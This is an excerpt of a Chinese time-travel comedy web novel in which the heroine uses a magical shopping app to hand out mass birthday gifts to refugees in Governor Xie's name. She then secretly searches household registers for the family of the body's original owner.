《手握拼夕夕,抠门皇帝哭求我卖货》
第七十六章 虎躯一震
叶绒挥一挥衣袖潇洒离开,给众人留下了一场失眠。
可能是报应叭——
她刚回清辉苑,就撞上了等候多时的医女,人家一看她腹部的淤青,当即给她肚子来了套大保健,揉的她呲牙咧嘴的,就差嘤嘤嘤了。
好在人家医女是真有一手,遭了这番蹂躏之后,叶绒一夜好梦,晚上甚至还做了个见到原主,回归正确时间线的美梦,以至于第二天一大早……呃半响午的醒来,神清气爽。
叶绒起床后看着窗外无声的落雪,觉得自己距离美梦成真也不远了。
看着窗外堆积的雪花,叶绒本想欣赏会儿就关窗起床洗漱的,如果她没有发现不对劲儿的话。
叶绒扭头看向身后安静站立等她洗漱收拾的两丫鬟。
“你们有没有觉得哪里不对劲儿?”她边说边伸手指向窗外,示意两人看过去。
这不对劲儿不仅是指屋外洒扫的小厮婆子少了,更是因为……
叶绒眉头拧了好半响,都想不出一个合适的能用来形容心中感受的词。
冬雪看她纠结的模样,当即在心中暗啐了一口苑里那些人。
嫌弃归嫌弃,但她还是给外头那些人找了个像样儿的理由,“姑娘不必多想,他们是因为家主快过寿了,等赏赐等的焦灼,以至于连活儿都不想好好干了。”
不就是赈灾的粮饷还没到么,有什么好焦急的,姑娘都说了是今日到,那今日必然会到,作甚在外头端着张脸,让人一大早看了难展笑颜,凭白败人好心情。
不知道的怕不是要以为他们对姑娘不满意呢!
“什么赏赐?”叶绒一头雾水,她怎么不知道。
“主家心善,往常每逢大喜日子,上头都会赏些物什让我们一同乐呵乐呵;家主前些天已经撂下了话,说今年大伙儿辛苦了一年,每人都可多得些赏银布匹并一些粮面。”
民以食为天,在这灾荒战乱之年,后者才是重点。
他们都清楚,今年过年能得多少好面过活,就全看今儿个这一糟了。
叶绒并不知道冬雪心中的想法,但她这么一说,她倒是想起了一件事情。
Emmm……
新的一天新的粮面快要到来了。
就是不知,如果谢叔他知道有人打着他的名义,给整个豫州灾民都备了一份厚礼,会怎么想?
叶绒觉得,乐呵乐呵这种事情,应该大家伙一起来,既然这样……
她心里隐约有了一个好主意。
左右都要离开了,谢叔待她不薄,那她就干把大的,给他庆下生吧!
不过在此之前,她要和快递小哥商量下……
心中隐约有了章程的叶绒缓缓眨了眨眼。
唔……
快递小哥他们会同意她这一小小的请求吧?
这么想着,叶绒看向冬雪,“你知道太守他们在做什么吗?”
听到这话,冬雪下意识抬头看了她一眼。
她当然知道了,哪怕自昨晚回来之后,她没再离开清辉苑,也清楚昨日她们归来之后,没多久宴席就散场了。
然后——
家主带头,从上到下,他们齐刷刷在河边守了一夜,比望夫石都敬业的那种。
冬雪琢磨了一下,她最终还是为了不破坏家主在姑娘心中的形象,稍微美化了一下他的行为。
“家主现在正在外面忙正事。”
啊嘞?
叶绒眨巴了下眼睛。
那她的东西,等会儿再付款?
“姑娘找家主可是有什么急事?奴可唤人把家主请回来。”
“……倒也不是什么大事。就是我兄弟他们捐献的东西快来了,需要人去接应一下。”
在她好主意的加成下,那场面不用去看,她都知道很壮观。
左右快递小哥会灵活变通,那她这回就算不去现场验货收货,应当也是没问题的……吧?
叶绒看看屋外天色,又想想等会儿在河边可以预见的壮观场面,就——
脚趾想抠出一座魔仙堡。
她这替人尴尬的毛病又犯了。
啧……
不过,谢叔他身为古人,那么注重名声,对她的安排应该会很感动吧?!
谢父:“……”
身为当事人的谢父对此表示,一点都不敢动,不敢动!
城外河边,雪花飘飘,却挡不住黑压压人群的热情。
自粮饷到来后,忙活了好一通的人,身上都覆满了白雪。
偌大的人群,仅有一人身上没沾点儿白,其他人无一例外包括谢阔,身上随便一抖都能抖落一层雪花。
虽然但是,谢阔看了眼光鲜亮丽的父亲,却完全没有取而代之和他换一换的想法,因为——
“噗通——”
又一妇人来到谢父面前,对撑伞而坐的高壮中年男人磕了个头。
完了,妇人没管面无表情的太守心里是什么个想法,就径直起身利落让位,迫不及待的排上了另一边的长队;紧跟着妇人身后排队站着的少年利落重复以上步骤……
面前排起了长队的谢父:“……”
看着他面前一众人,把磕头整的跟他手下官员上班点卯一样,愣是弄出了一套行云流水的程序的架势,谢父感觉自己有点牙疼。
他想了老半天,都没想明白事情到底是怎么变成这样的?!
本来嘛,帮着船上来人一起把粮面卸下来之后,谢父等了老半天,仍旧没有等到府上姑娘嘴里的兄弟下船,他本以为人家是在矜持。
这没毛病——
他们一点儿血都没出,平白无故拿了人家那么多粮饷,他们气一下,矜持矜持很正常。
既然这样,那——
他们父子两人就上去把人给请下来呗!
谢父是这么想的,孰料他还没有上船,为首的小哥就递给了他一封信,信上写的内容很简短。
就简简单单写了下他们兄弟二人有急事来不了了,完了还说给他准备了份他会喜欢的礼物。
在谢父看信的同时,小哥们动作麻利的,已经在周围众人的帮助之下,重新搭好了几个帐篷。
紧接着,河上船只你来我往间,新的一批货物被运了过来……
看着由远及近行来的船只,上面挂着的那硕大的横幅,曾于千军万马间横行过,而面不改色的谢父,当即虎躯一震。
“!!”
第七十七章 社死
只见为首的偌大船只——
左边挂着:热烈庆祝谢焱五十大寿!
右边写着:贺寿者皆可得厚礼一份!
中间的横幅则是非常亮眼的几个大字:发福利啦!!
倘若谢父往常看到自己的名字出现在这种不伦不类的对联上的话,他多少是要好好和人谈谈的。
但现在——
看着横幅上那分外直白易懂的内容,谢父眼神有些发愣。
这什么个情况?
还没等他反应过来呢,船只停靠好之后,小哥们又开始了新一轮的忙活,一众围观的人条件反射性过去帮忙,直把小哥们挤得无处动作……
谢父看着小哥们呆了一下之后,又跟小蜜蜂一样忙起来了其它事情,直看的他一愣一愣的。
Emmm……
一人仅限一次机会,先贺寿先得礼,你还在等什么?
这在他身前架起的横幅上写着的,又是什么玩意儿?
更让谢父逐渐失去表情管理的是,横幅架好之后,两小哥站他身后,左边那人举起了一黑底红字的牌子,上写寿星公三字;右边那人则直接开始喊话。
“想贺寿的一个一个来,排好队啊!”
谢父:“……”
地铁,老人,手机。
和谢阔如出一辙的桃花眼里写满了茫然。
和他同样茫然的是在河边被人叫来帮忙干活儿的一众南坊灾民。
但,有免费的厚礼领哎!
那——么多东西!
一众南坊来的灾民们看着在谢父旁边依次排开架起来的六个帐篷,人群隐隐有些躁动。
一众老实淳朴的古代老百姓,哪儿见过现代这种套路啊!
撑死胆大的,饿死胆小的!
没一会儿,被免费的可以白拿的厚礼诱惑着,有人牙关一咬,直接来到谢父面前拱手行礼,带头为其贺寿——
眼看出头的人说完吉祥话之后,就被开口说话的快递小哥引到了晃眼的帐篷前,一个帐篷一个帐篷的依次前行,领取了礼物,这下围观的人群是彻底的骚动了……
哦豁!
敢情有东西,他们是真给啊?!
这太守能处!!
谢阔:“……”
看到这一幕,他对此第一反应是——
妥了,他爹这波铁定史书留名!
看自家老爹拿着信纸的手微微颤抖,身体僵硬,明显还没缓过劲儿来的模样,谢阔默不作声离他远了一些,然后对此已经有过一次经验的他,方才组织人手引人排队参观他爹……啊不,是给他爹贺寿!
谢阔一边忙活一边在心里暗自庆幸,幸亏他长相大部分随了他那早逝的母亲!
这般想着,谢阔又默默离自家可怜的老父亲远了一些。
虽说父子之间要有福同享有难同当,但这种能九州闻名,史书留痕的大好事儿,他暂时还没有做好面对的心理准备……
所以,对不起了爹,这波,恕儿子不孝,不敢奉陪!
把他躲避的动作尽收眼底的谢父:“……”
这知道的是清楚眼前这一大堆已经排成了长队的人是在给他贺寿,这不清楚的怕不是要以为他们把他当成了耍杂戏的猴子在参观!
不……
在治下百姓那宛若刺眼明灯的目光的注视下,谢父默默在内心改了说辞。
在他们眼里,他现在应该比猴子珍贵多了!
毕竟同样是观赏性的存在,一个是从他们兜里掏东西的,一个是给他们发东西的。
谢父:……
谢父身形微动,刚想同身后的小哥们说点儿什么,只见卫梓绕开人群匆匆来到了他身边。
“家主,那位准备了六样东西用来给您贺寿,每样东西五十万份……”
听到卫梓这飘忽的声音,谢父:“……多少?”
“你说多少?!”
这加起来比他们豫州人口都多了太多!
主谋两人对视一眼,卫梓给了自家主公一个分外肯定的眼神。
是的,五十万,您老没听错!
这个数字是他反复找送货人确认过的,还有人带着他粗略点了一下,所以——
他肯定,六样,五十万份,没掺一点儿假!
这般想着,卫梓一副过来人的模样,很懂的扶住了谢父的胳膊,生怕他人前腿软没站稳,丢了豫州的面子!
毕竟——
他们几个刚刚上船和人交接时,已经足够失态,够给豫州丢面子了!
卫梓是特意缓了缓,等谢父接受了这一振奋的消息后,才曝出了下一个大雷的。
“这六样东西,一样是没丝毫腥气的荤食猪肉,一样是让人穿上就立即暖和过来的冬衣,一样是治疗冻疮的膏药,还有一样是专门给老弱婴幼准备的营养粉,以及特意分发给妇人的止痛药粉和……月经带。”
??
是不是有哪里不对劲儿?
这最后一样东西出现在这里,谢父莫名觉得有些怪怪的。
他这么想着,也就这么问了。
卫梓:“……”
同样有些不好意思的,在大庭广众之下说出最后一样东西的卫梓,沉默了片刻,才小声解答了他的疑惑。
“船上那些人说府上那位重女轻男,特意给妇人多备了些东西。”
谢父:“……”
看他身形微动,想去看看,卫梓连忙阻止。
“这些东西既是打着给您贺寿的名义送的,您倘若离开了,百姓没人恭贺,怎么领取厚礼?”
莫名被架在了这里的谢父:“……”
想到府上那位完全不能以常理推断的散财童女,谢父沉吟片刻,还是歇了离开的念头。
——等所有东西交接好再说吧!
抱着这种念头,谢父在河边当起了活人雕塑。
他木着脸看着闻讯赶来的百姓们越来越多的,在他身前排起了长队……
直到一百姓因为胆小,紧张的说不出话来,到谢父身边直接就给他先磕了一个,以表敬意,然后照样被谢父身后站着的小哥引到领东西那队排队之后……
没一会儿,谢父就成了磕头狂魔,谁来了都得在他面前磕一个才能走的那种!
Emmm……
身为当事人的谢父:“……”
有的人看似站在这里,魂儿已经离开了;就像有的人活着,其实跟死了没差别一样!
问就是——
社死!
第七十八章 找寻
叶绒并不知道谢父在怀县众人到来这天,于城外河边的飞雪中到底站了多久,她只知道,谢父收完小哥们于河边送来的礼物之后,直接就回了自己的院子闭门谢客,谁来敲门都不开的那种。
叶绒:……
啊、这——
她好心办了坏事??
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看她懵懵懂懂的样子,书房内不止要批阅公文,还要代父会见一大波人的谢阔咳嗽一声清了清嗓子。
“那什么,万众瞩目什么的,太显眼了,我父亲头一次经历那等场面,还没缓过劲儿来,等他歇两天就好了。”
“……谢叔不喜欢?”
她特意想出来的注意哎,为了让快递小哥他们配合,她还特意和他们好声好气的商量了很久的!
——不同意就一件件下单,让人跑来跑去忙活死的那种商量。
谢阔:“……”
想到收礼时,自家面无表情的父亲,那怎么压都压不下去的上翘嘴角,以及河边一众人兴奋的欢呼声,他很是艰难的闭了下眼,方才道了两个字。
“喜欢。”
人辛苦准备了那么多东西,打着给他父亲贺寿的名义,在这么喜庆的日子里给老百姓们发福利,他总不能打击人一片好心,败坏她心情吧?
所以……爹,对不起了!
喜欢?
叶绒觉得有点儿不对劲。
她看了看书桌后坐着的男人那不停揉按太阳穴的动作,感觉哪里怪怪的。
“那你这什么表情?”
垂死病中惊坐起.jpg
以为自个儿的强颜欢笑被看出来了的男人立马坐直了身体。
“我这人毕竟喜欢清静,见不得太盛大热闹的场面,也享受不来那种氛围,所以……”
他给了她一个欲言又止的眼神。
叶绒秒懂。
轻度社恐嘛!
既然这样,那——好叭!
“我本来想让你陪我一起出去看看被救回来的那些人,顺便去官府那边看下他们要怎么给彭将军带回来的人编籍造传来着,既然这样,那你接着在书房忙吧,我自己过去。”
编籍造传重新组建新的村落,让人落地生根,铁定是要用彭将军他们从徐州那边搞来的以前的户籍文书作为参考的。
——翻看过往原本的户籍文书,找到原主,这才是她的真正目的。
看她这般迫不及待的样子,谢阔一点都没有多想。
毕竟大军尚未归来时,她都想去监督,看看有没有人对那些百姓不好了。
如今,徐州叛乱百姓尽数被人带回,她若是不提出这番要求,那才叫不对劲儿。
想归这么想,但谢阔听到她的话,薄唇微抿。
“彭将军他们带回来的人太多了,那些人这两天暂时都被安置在城外,所以外面有些乱。”
“不然等过两天他们在城内安顿好之后,我再带你过去看看吧。”
听到这话,叶绒第一反应是——
乱?
乱好啊!
不乱她怎么浑水摸鱼,悄无声息离开呢!
这般想着,叶绒果断拒绝了谢阔的提议。
“不行,我就想现在出去看看。”
谢阔:“……”
她没来之前,他一直觉得川字纹离他很远;但认识她之后,谢阔觉得,他父亲眉心那同款的纹路,他可能很快就能得到了。
“你非得今天出去?”
这难不成就是她一大早上来找他的原因?
叶绒:……
Emmm……
对上男人的冷脸,叶绒小小的瑟缩了下,弱弱改口道:“那我不去城外,只去官府那边看看总成了吧?”
怂归怂,退归退,但底线不能动!
叶绒心中的想法全都写在了脸上。
看出她的坚持,谢阔轻啧了一声,“那你等我几个时辰,下午我这边忙完了就带你过去,怎么样?”
男人一副商量的口吻,叶绒顿觉有戏。
虽然但是——
事实上,倘若不是她今天一大早起来,想出门的时候被人在门口拦住了,没他们父子俩人的命令,守门人不敢放行的话,她早就出去了,哪儿会来他这里。
她毕竟是要去干正事的,带他过去,她怕自己忙起来,一不小心露馅儿,让他怀疑到了原主身上——
那就完蛋了!
想到这里,叶绒忙不迭摇头。
他现在忙不能过去,那可真是……太好了!
想归这么想,但叶绒到嘴边的话却是另一套说辞。
“你既然在忙,那我就不耽误你时间,自己过去就行了,你放心,我就是过去看看,很快就回来。”
如果事情顺利的话!
当然,要是她运气不好,扒拉大半天也没能在一众户籍文书中见到原主名字的话,那她什么时候回来,就得另说了。
跟男人相处久了的叶绒无师自通的学会了,说话藏一半儿露一半儿。
谢阔倒是没有多想。
毕竟,眼前人儿上回去南坊的经历摆在那里呢!
被过往经验糊住了眼睛的谢阔斟酌再三还是放行了。
毕竟他现在着实很忙,随着她从天上撂下来的馅饼儿砸中豫州,一连串事情蜂拥而来,使得他一点儿都抽不开身!
看她得了准话之后,欢呼雀跃的模样,在人跑走之前,谢阔抓紧叮嘱了一句。
“出门在外记得多带点人,不要乱跑,去哪里都要让你那两个女婢随行,明白了吗?”
“嗯嗯嗯。”
叶绒应得铿锵有力,声音不带一点儿敷衍,但——
声未落,人已走。
被留在原地眼巴巴看着她离开背影的谢阔:“……”
怎么办?
他这心头不是一般的不放心呐?!
叶绒离开谢府之后,为了节省点儿时间,直接让车夫带她去了官府,力图争分夺秒……
事实证明,她这一打算十分明智。
到了官府被人恭敬带到存放户籍文书的地方之后,叶绒没让冬霜冬雪二人跟进来,直接随意找了个理由把人打发到了外面,然后她就袖子一撸,准备干活儿了。
做好准备工作之后,叶绒看着入眼琳琅满目的一众籍册,胳膊那是抬了又抬,愣是不知该从哪里下手……
正所谓遇事不决,求神拜佛!
“……”
叶绒先在心里默默给穿越大神发了几张好人卡,方才前行几步,随手捞起一籍册,开始了她大海捞针般的找寻……
第七十九章 后悔
听着室内传来的稀稀疏疏的响声,冬雪和冬霜从一开始的淡定自若,到渐渐皱起了黛眉,进而随着时间的流逝,逐渐的着急了起来……
姑娘到底在里面做什么?
两人面面相觑,午食过后,看人没一点儿休憩的打算,又过了好一会儿之后,冬雪试探着敲了一下房门。
“姑娘可有什么需要帮忙的地方?”
她们不仅怕她累着了,还怕自己失业。
毕竟没谁当女婢,能当的比她们更轻松了。
姑娘整日素面朝天的,动不动还跟变了面容似的,给自己来个改头换面的易容术,以至于在姑娘家最在乎的妆容方面,她们完全没有用武之地。
她的穿衣洗漱,更是不需要她们伺候,她全程自己动手就搞定了。
而她们呢?
她们只需要在她出门的时候,帮忙绾个发髻就好。
其他大部分时候,她们都是跟在她身边当个隐形人,只偶尔她们存在感刷的过足了,她才会想起来让她们做个跑腿传话之类的任务。
——这份工作太轻松了!
而这,也意味着她们的工作,对姑娘来说,没有什么特殊性,在她心中是随时可以被人取代的那种。
这着实让冬霜和冬雪有些惶恐。
两人想进屋帮忙搭个手,让屋里正对着册子翻来翻去的叶绒,不那么劳累一些。
可惜,她们的打算注定要落空了。
听到门外传来的询问声,叶绒想都不想的就拒绝了她们的心意。
这倒不是因为她信不过她们,主要是此事事关重大,且不宜为他人所知。
她藏着掖着都来不及,怎么可能敢让他人上手帮忙?!
叶绒在房内找了很久很久……
为了节省时间,她连午饭都是匆匆扒了两口。
可惜,老天爷并没有因为她的努力,而眷顾于她。
当太阳即将没过水平线时,累得腰酸背痛,全靠一口气儿撑着的叶绒,觉得不能再这么下去了!
再这么折腾下去,恐怕原主还没找到,她就要先废了。
那有什么好法子呢?
已知,这个世界上是真的有神的,她的到来和她手上的拼夕夕,就是最切实的证据。
那么——
想到她只敷衍的在心底给穿越大神发了几张好人卡,就着急忙慌的开始找原主的消息了,叶绒沉吟片刻,在一片灼热的吐息中,最终她郑重做下了一个决定。
“穿越大神保佑,信女今日要是能找到叶小绒踪迹的话,他日一定给您塑个金身供奉。”
她边说边双手合十,闭目虔诚地鞠了个躬。
然后,叶绒深吸口气,重整齐鼓,换个地方,重新开始了新一轮的找寻。
Emmm……
事实证明,有的神,祂真的是很爱金子的。
不然的话,该怎么解释,她前脚刚求拜完神许下空头支票,后脚就找到原主的户籍文书了?!
“……”
不是,说好的神仙不为外物所动,视金钱如粪土呢?
Emmm……
此时此刻,穿越大学神秘莫测的高大形象,在叶绒心中悄悄裂开了一条缝隙。
过了好一会儿时间,叶绒的心神才重新安定了下来。
她按照书中消息,对着手中的文书一一核对了起来……
叶绒,女,十岁,杏眸,左肩一元宝印,徐州怀县人。
父,叶丰狩,独眼;母,周斐,善刺绣;弟,叶茸,三岁。
叶茸……
叶绒目光落在这两个字上,凝视了好一会儿,才重重点了下头。
没毛病!
原主特征对得上,她家人的名字特征也都对得上!
她没找错人!!
头一次知道原主弟弟叫什么名字的时候,叶绒还吐槽过来着。
这书是谁写的?
太不负责任了!
姐弟俩人名字同音,这是想双杀的节奏吗?!
但就算是双杀,人原主死了之后,好歹提一下她心心念念的,找到死都没有找到的养父母和她弟弟的结局啊!
但凡是书里有说上那么一嘴,原主和家人失散之后,她那些家人是怎么没的,她都能想办法捞人一把,替原主还了这一场养育之恩。
当然,这是叶绒刚来到这个世界时的想法。
至于现在嘛?
他们的逃荒之路,都被她给蝴蝶没了,在未来天子的大本营扎根落脚之后,不用她伸出援助之手,原主这些家人未来也能活得好好的。
想来,原主六年之后,离开这个世界时,也能放心了。
叶绒正这么想着,她看着原主母亲的名字,突然觉得……好像有哪里不对劲儿?
印象中,在怀县驿站,她好像听一位姓周的老大爷喊他的闺女斐娘来着。
Emmm……
啊、这——
喊的是原主养母吗?
鉴于生平头一次有老人在她面前哭的那么凄惨,叶绒此时对那位周老先生的名字,仍记忆犹新。
索性已经找到原主的户籍文书了,那顺着这条线,很快就能扒拉到她亲属的。
原主并不知道她是被自己养父母收养的弃婴,所以如果真是她想的那样的话,那她的外祖父应该叫——
周才德!
“——”
敢情还真是啊!
叶绒:……
这简直比错亿还让她痛心疾首!
淦!
后知后觉的发现自己在怀县驿站那里,究竟错过了什么的叶绒,心疼的简直要滴血。
嘤嘤嘤……
她当年粉的明星塌房的时候,她都没这么痛心过!
正当叶绒捶胸顿足的时候,她突然听到了外面传来的敲门声。
“叩叩叩”
谁?!!
这突兀响起的声音,把沉浸在懊悔情绪中的叶绒吓了一跳。
“开门。”
分外耳熟的声音在门外响起。
叶绒:“??”
有那么一瞬间,叶绒怀疑自己简直是幻听了。
什么个情况?
该在谢府忙公务,忙得不可开交的人,怎么来这里了?
分明是请求的两个字,男人硬是把它当成了提前知会。
于是,不等叶绒反应过来,紧闭的房门,被人吱呀一声,推响了。
叶绒:“!!”
好在危机关头,大脑和身体没一个掉链子的,配合的非常给力!
“啪!”
房门被打开的前一刻,叶绒猛的把手中的东西甩的远远的,砸到了一堆凌乱的她翻看过后,还没来得及收拾的户籍文书上……
好险!!
第八十章 偷摸
谢阔推门而入,眼风扫过重物落地发出声响的地方,没有过多留意。
把注意力全放在了叶绒身上的男人,甫一进来,便看向屋内呼吸急促,惊魂未定的人儿,“你鬼鬼祟祟做什么呢?”
叶绒:……
Emmm……
这形容词用的……
蛮形象的!
虽然但是——
理不直气也不壮的叶绒没好气的翻了个白眼。
“什么鬼鬼祟祟的,我在里面能干什么坏事啊?倒是你,招呼都不打一声就直接推门进来,差点把我给吓死!”
好端端一大男人,心眼儿真坏!
看她气急败坏的模样,谢阔眨了下潋滟的桃花眼,表情分外无辜。
“我事先和你打过招呼了啊!”
男人的解释令叶绒嘴角狠狠抽搐了下,她呵呵一笑道:“你那敲两声,就直接破门而入,叫打招呼?”
经过她同意了吗啊?!
听到这话,男人表情变得更加无辜。
“我在外面喊了你好几声,你都没应,我还以为你在里面发生什么事情了呢?所以就直接推门进来了。”
哪曾想她在里面办事儿,竟然如此全神贯注!
叶绒:“……”
看男人一副甚感稀奇的模样,她脑袋卡了下。
坏了,敢情这波错在她!
因为潜意识里觉得不会有人不经同意就直接推门而入的缘故,她精力全都放在找到的户籍文书上了,确实没怎么关注外面的动静。
一鼓作气,再而衰的叶绒这下气不来了。
她果断选择转移话题。
“你怎么过来了啊?”
“我来看看某个夜不归宿的人在外面做什么坏事。”
听到这话,叶绒撇了撇嘴,她忍不住为自己辩解道:“这不还没到用飱食的时间吗?而且,我现在一点儿都不饿。”
距离晚上还有好长一段时间呢,她哪有夜不归宿那么的夸张!
“早过你用飱食的饭点了,你现在还不饿,你确定不是饿过头没感觉了?”
男人边说边往里走,他三步并作两步,没几下功夫就来到了叶绒面前。
叶绒:“……瞎说。”
倘若她说话的底气稍微能足一些,那这话就有说服力了。
“……”
男人扯了扯嘴角,没有就这个话题和她进行无意义的争辩。
他看着她面前一大摞尚未翻看的户籍文书,又看看她身后凌乱的那一大摊子有够人重新忙活一通的存在,整个人都“……”
“你搁这儿找什么呢?找到了吗?”
叶绒:……
这家伙太敏锐了!
偏偏她现在又宛如偷了腥的耗子,受不得一点儿惊。
所以——
叶绒紧闭嘴巴,对上男人打量的视线,她低首垂眸,一声不吭,任人琢磨猜测。
左右,只要她不吱声不露馅儿,他是不可能猜到她真实意图的。
看她小脸儿绷的紧紧的,把内心想法都写在了脸上的模样,谢阔:“……”
你还别说!
对上她这番滚刀肉的模样,他一时半会儿的,还真猜不到她在里面干了什么坏事儿。
不过无妨,天长地久的,朝夕相处下来,该他发现的,他总能知道的。
这般想着,男人倒也没有步步紧逼,想在这片刻工夫中,看出什么端倪。
他只看向身旁少女开口教导,“下回再想偷摸着干什么坏事,你可以先让人提前帮你把准备工作给做了;亦或者找几个信得过的嘴巴紧的人,让他们一人帮你做一点小事儿,联合起来把事情给你解决了,懂?”
没得一个人巴巴的把事情全都干了,凭白多浪费精力不说,还事倍功半。
叶绒:“……我知道了。”
虽然但是,她此行目的已经达成了。
看她一副受教的模样,男人不再多言,只开口问道:“你大概还要忙多久?有什么我能帮你的地方吗?”
叶绒:“……”
这话她总觉得怎么接,都有点点露馅儿??
沉吟片刻,叶绒看了眼外面的天色,斟酌了下措辞道:“天已经黑了,剩下的我后天再出来弄,我们先回去吧。”
嘻嘻嘻.jpg
明天谢叔生日,给他过完生日,她后天就离开了。
这波,刚好给她后日出门,先提前想了个理由。
完美!
至于她后天出门之后,怎么找到原主?
已知,现在从怀县来的那些人,都在城外暂时住着,他们联合居住在一起有些混乱。
虽然但是——
如果是现代的话,在这种情况下,她想找到一个人,可能有些困难,但这里偏偏是古代。
一个宗族观念十分严重的地方。
哪怕原主的养父是猎人,在这种情况下,也不可避免地会和他们村子的人住在一起,同气连枝,关键时刻更是要互帮互助。
所以,在已知原主养父母的名字的情况下,顺着这条线索,她找起人来十分的方便。
她现在唯一需要考虑的只有一点——
她该如何不找痕迹的,在任何人包括原主都不知道的情况下,见原主一面,然后悄无声息的,仅天知地知和她知的,离开这里,去到六年后。
不过,虽然现在心里没个章程,但叶绒相信一天的时间,足够她想明白该怎么做了。
看着身旁少女眼角眉梢压抑不住的喜色,谢阔无声轻啧了一下。
但他却没有多加追问,毕竟适时的给人留一点隐私的空间,是一件非常有必要的事情。
不然,她哪天要是忍受不了他全方位的管控,鸿雁传书一封满当当控诉他的信回家,那就有些不太好了!
这么想着,男人假装没有看出身边少女的不对劲,只单纯把自己当成了,天晚来接人回去吃饭的喊话人。
“行。”谢阔没有多说什么,直接带着人就回去了。
不过,他来时骑的是马,回去时却和叶绒一同坐的马车。
“咕咕——”
这声音太响亮了
Emmm……
回想自己刚刚不久前才撂下的话,叶绒感觉自己脸有点儿小疼。
她很想假装自己没有听到这令人羞耻的声音,但她劳累了大半天的身体一点儿都不配合……
于是,叶绒只得偷偷捂着肚子,悄摸摸抬眼看向在她身旁坐下的男人……左手边的精致糕点。
谢阔:“……”
这算什么?
掩耳盗铃的升级版?
第八十一章 女婢?
谢阔掀开帷帘看了眼马车外面的街道,人群热闹熙攘。
这里所有的百姓都知道,托他爹的寿辰福气,他们过上了好日子。
那六样东西发下来,不止能让他们今年过一个暖和的好年,有那些个头脑灵活的人家,早已把发到手上的猪肉卤了,放到大街上去卖……
人的心气足了,脑子活络了,街上的摊贩子自然而然的就多了起来,叫卖声络绎不绝的,煞是喜庆。
他甫一掀开帘子,一阵阵肉香味儿就飘了进来,很是勾人食欲。
……当然这是对他而言的!
眼角的余光瞥到对空气里突然多出来的荤腥味儿,没有丝毫馋意的少女,本想带人下去吃口热乎的,顺便感受一下街上热闹氛围的谢阔:“……”
大冬天的,她更喜素食,而甚少沾染平常人家一辈子都吃不到几次的荤腥什么的,他到底是该说她节俭呢,还是该说她奢侈呢?
想不明白的谢阔默默抬手捏了捏山根,然后倒了小半杯水放到叶绒手边。
啊嘞?
饿着肚子,只想吃东西,不想喝水的叶绒:“……”
这是得到手了,就不珍惜了吗?
她只是松口说要嫁给他了,还没彻底和他在一起呢,他就变成了这般模样,要糕点只给水喝什么的,那她以后要是嫁进他们谢家的话,她会不会被身旁这小气吧啦的男人给饿死啊?
只稍微这么一想,叶绒顿觉眼前一片黑暗。
泪水尚未涌上心头,她突然反应过来一件事情——
哦,不对,不是她嫁进谢府,而是他想入赘到他们家来着。
Emmm……
叶绒脸上表情凝滞了一瞬,然后她更生气了。
这还没入赘呢,就敢这么对待她,那等他入赘之后,他是不是要彻底不把她放在眼里了啊?
叶绒一气之下……
抬眸看到男人表情淡淡的模样,叶绒:“……”
她默默撇了撇嘴,小气了一下。
那什么,倒也不是她惹不起他,主要是吧——
好女不跟壮男斗!
再说了,她后个儿就要走了,完全没必要因为这不可能存在的假设而生气。
所以,他抠门不让她吃东西什么的,无所谓啦!
不气不气啊!
看着身旁少女仅眨了下眼的功夫,就跟受了气的小媳妇一样,默默坐在角落里捂着肚子,低头散发着阴阴的气息,谢阔:“……”
先前听人说,她在自己院子里用膳的时候,一点都不用人夹菜,他还蛮欣慰的。
至少她家里人,没把她彻底娇惯成一饭来张口衣来伸手,什么都不懂,每天只知道吃吃喝喝,对外撒钱的小废物!
他爹当时知道这事的时候,还拍着他的肩膀宽慰了下他——
“儿啊,知足吧!和那些被家中长辈宠溺坏了的小儿子大孙子比起来,咱家这小祖宗已经足够好的了,同样都是朝外撒钱,最起码她从来没惹过事情,让家里人给她擦屁股啊!”
“你以后但凡看她花钱如流水,觉得心脏痛的受不住的时候,可以去刘大人、王大人他们家里转转,同样都是家有小祖宗,他们隔三差五的就得给家里的败家玩意儿擦屁股,舍了老脸,带着厚礼去其他人家上门致歉;而咱们家这位呢?得到的都是人家上门的感谢和打从心底起的佩服。”
正所谓有对比才有收获!
他当时还觉得他爹说的蛮对的,结果现在——
敢情她所谓的不需要人喂,还带分条件的啊!
这般想着,谢阔捏起一块精巧的糕点,给人递了过去。
“你先喝口水润润嗓子再吃,省得噎着了。”
男人左手糕点右手茶杯,一起递到了身旁少女嘴边。
叶绒:“……”
受宠若惊.jpg
她刚刚冤枉他了?
他这是觉得自己地位还没稳妥,想先好好表现一番吗?
既然这样——
看着男人坦然自若的模样,叶绒眨了下杏眸,心安理得的接受了他的示好。
不得不说,未来皇帝喂到嘴边的糕点就是好吃。
甜而不腻,还带着股淡淡的桂花香味儿!
就是吧……
叶绒发现了华点。
“为什么你伺候人吃饭的动作那么熟练?”
这不应该啊!
男人闻言睨了她一眼,“母亲卧病在床时,我曾侍了一段时间的疾。”
叶绒:“……对不起。”
她不该提起别人的伤心事,戳人伤疤的!
这是叶绒第一反应。
紧接着,她第二反应则是——
所以,他这是把她当成老母亲来伺候了?
如果真是这样的话——
他今年二十,她虽然身体缩水到了十六岁,但心理年龄却是实打实的二十二岁。
她应他一声姐姐,完全是妥妥的没问病。
正所谓长姐如母——
“唔?!”
叶绒捂着被人弹了声脆响的脑门儿。
对上她瞪的溜圆的杏眸,男人轻啧了下,“我总觉得你在想不好的事情。”
这脸上表情都快往慈祥进化了,她在想什么鬼东西?
四目相对,叶绒:“……”
“嗯?”男人表情似笑非笑。
眯眯眼的可怕谁见谁知道,叶绒果断老实,乖乖吃起了递到嘴边的东西。
看她老实了,男人总算说起了正事。
“你还记得在怀县驿站见到的那几个老人吗?”
“怎么了?”
叶绒不明白好端端的他提起这个做什么。
“那位叫周才德的老秀才,想把他外孙女送到府上,给你当女婢做个伴。”
都是快活成精的老人了,他们很清楚在徐州反叛之后,他们为何能毫发无伤的活下来,并被人护送着来到了豫州。
同样的,他们更清楚,他们未进城门,便得到的厚礼是来自于谁的赠送。
周才德此举,一是为了表达他们对她的感激,想给她送个绝对不会背叛她的得用之人到手边伺候;二则也是代表城外那些人告诉谢家,他们这些半只脚踏进鬼门关,却得幸被人捞回来的一众人,日后要以她为主,马首是瞻。
虽然后者才是重点,但谢阔敢肯定身旁这家伙一点儿都想不到。
若非如此,他也不会特意把这件事情单独拎出来告诉她一声。
人前训子,人后教妻,该给她上的课——
是时候上了!
第八十二章 尴尬
彼时的谢阔那叫一个雄心壮志。
他本想趁此机会,给她掰开讲一下其中的感情与利益关系,让她心里有个底儿。
然而,叶绒只听到了一点——
周才德?孙女??
